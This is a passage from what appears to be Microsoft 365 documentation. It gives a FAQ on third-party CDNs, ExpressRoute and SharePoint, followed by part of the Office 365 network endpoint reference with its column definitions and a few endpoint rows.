3rd party CDN providers may have privacy and compliance standards that differ from the commitments outlined by the Microsoft 365 Trust Center. Data cached through the CDN service may not conform to the Microsoft Data Processing Terms (DPT), and may be outside of the Microsoft 365 Trust Center compliance boundaries.
For in-depth information about privacy and data protection for Microsoft 365 CDN providers, visit the following:
Learn more about Microsoft 365 privacy and data protection at the Microsoft Trust Center
Learn more about Azure privacy and data protection at the Azure Trust Center
How can I secure my network with all these 3rd party services?
Using an extensive set of partner services allows Microsoft 365 to scale and meet availability requirements and enhance the user experience when using Microsoft 365. The 3rd party services Microsoft 365 leverages include both certificate revocation lists; such as crl.microsoft.com or sa.symcb.com, and CDNs; such as r3.res.outlook.com. Every CDN FQDN generated by Microsoft 365 is a custom FQDN for Microsoft 365. If you’re sent to a FQDN at the request of Microsoft 365, you can be assured that the CDN provider controls the FQDN and the underlying content at that location.
For customers that want to segregate requests destined for a Microsoft 365 datacenter from requests that are destined for a 3rd party, we’ve written up guidance on Managing Microsoft 365 endpoints.
Is there a list of all the FQDNs that leverage CDNs?
The list of FQDNs and how they leverage CDNs change over time. Refer to our published Microsoft 365 URLs and IP address ranges page to get up to date on the latest FQDNs that leverage CDNs.
Can I use my own CDN and cache content on my local network?
We’re continually looking for new ways to support our customers’ needs and are currently exploring the use of caching proxy solutions and other on-premises CDN solutions.
Although it isn’t a part of the Microsoft 365 CDN, you can also use the Azure CDN for hosting custom web parts, libraries and other resource assets, which allows you to apply access keys to your CDN storage and exert greater control over your CDN configuration. Use of the Azure CDN isn’t free, and requires an Azure subscription. For more information on how to configure an Azure CDN instance, see Quickstart: Integrate an Azure storage account with Azure CDN.
I’m using Azure ExpressRoute for Microsoft 365, does that change things?
Azure ExpressRoute for Microsoft 365 provides a dedicated connection to Microsoft 365 infrastructure that is segregated from the public internet. This means that clients will still need to connect over non-ExpressRoute connections to connect to CDNs and other Microsoft infrastructure that isn’t explicitly included in the list of services supported by ExpressRoute. For more information about how to route specific traffic such as requests destined for CDNs, see Implementing ExpressRoute for Microsoft 365.
Can I use CDNs with SharePoint Server on-premises?
Using CDNs only makes sense in a SharePoint Online context and should be avoided with SharePoint Server. This is because all of the advantages around geographic location don’t hold true if the server is located on-premises or geographically close anyway. Additionally, if there’s a network connection to the servers where it’s hosted, then the site may be used without an Internet connection and therefore can’t retrieve the CDN files. Otherwise, you should use a CDN if there’s one available and stable for the library and files you need for your site.
Office 365 requires connectivity to the Internet. The endpoints below should be reachable for customers using Office 365 plans, including Government Community Cloud (GCC).
Start with Managing Office 365 endpoints to understand our recommendations for managing network connectivity using this data. Endpoints data is updated as needed at the beginning of each month with new IP Addresses and URLs published 30 days in advance of being active. This cadence allows for customers who don’t yet have automated updates to complete their processes before new connectivity is required. Endpoints may also be updated during the month if needed to address support escalations, security incidents, or other immediate operational requirements. The data shown on this page below is all generated from the REST-based web services. If you’re using a script or a network device to access this data, you should go to the Web service directly.
Endpoint data below lists requirements for connectivity from a user’s machine to Office 365. For detail on IP addresses used for network connections from Microsoft into a customer network, sometimes called hybrid or inbound network connections, see Additional endpoints for more information.
The endpoints are grouped into four service areas representing the three primary workloads and a set of common resources. The groups may be used to associate traffic flows with a particular application, however given that features often consume endpoints across multiple workloads, these groups can’t effectively be used to restrict access.
Data columns shown are:
ID: The ID number of the row, also known as an endpoint set. This ID is the same as is returned by the web service for the endpoint set.
Category: Shows whether the endpoint set is categorized as Optimize, Allow, or Default. This column also lists which endpoint sets are required to have network connectivity. For endpoint sets that aren’t required to have network connectivity, we provide notes in this field to indicate what functionality would be missing if the endpoint set is blocked. If you’re excluding an entire service area, the endpoint sets listed as required don’t require connectivity.You can read about these categories and guidance for their management in New Office 365 endpoint categories.
ER: This is Yes if the endpoint set is supported over Azure ExpressRoute with Office 365 route prefixes. The BGP community that includes the route prefixes shown aligns with the service area listed. When ER is No, this means that ExpressRoute is not supported for this endpoint set.Some routes may be advertised in more than one BGP community, making it possible for endpoints within a given IP range to traverse the ER circuit, but still be unsupported. In all cases, the value of a given endpoint set’s ER column should be respected.
Addresses: Lists the FQDNs or wildcard domain names and IP address ranges for the endpoint set. Note that an IP address range is in CIDR format and may include many individual IP addresses in the specified network.
Ports: Lists the TCP or UDP ports that are combined with listed IP addresses to form the network endpoint. You may notice some duplication in IP address ranges where there are different ports listed.
Note
Microsoft has begun a long-term transition to providing services from the cloud.microsoft namespace to simplify the endpoints managed by our customers. If you are following existing guidance for allowing access to required endpoints as listed below, there’s no further action required from you.
Default Optional Notes: Some Office 365 features require endpoints within these domains (including CDNs). Many specific FQDNs within these wildcards have been published recently as we work to either remove or better explain our guidance relating to these wildcards.
Default Optional Notes: Connection to the speech service is required for Office Dictation features. If connectivity is not allowed, Dictation will be disabled.
No
officespeech.platform.bing.com
TCP: 443
147
Default Required
No
*.office.com, www.microsoft365.com
TCP: 443, 80
152
Default Optional Notes: These endpoints enables the Office Scripts functionality in Office clients available through the Automate tab. This feature can also be disabled through the Office 365 Admin portal.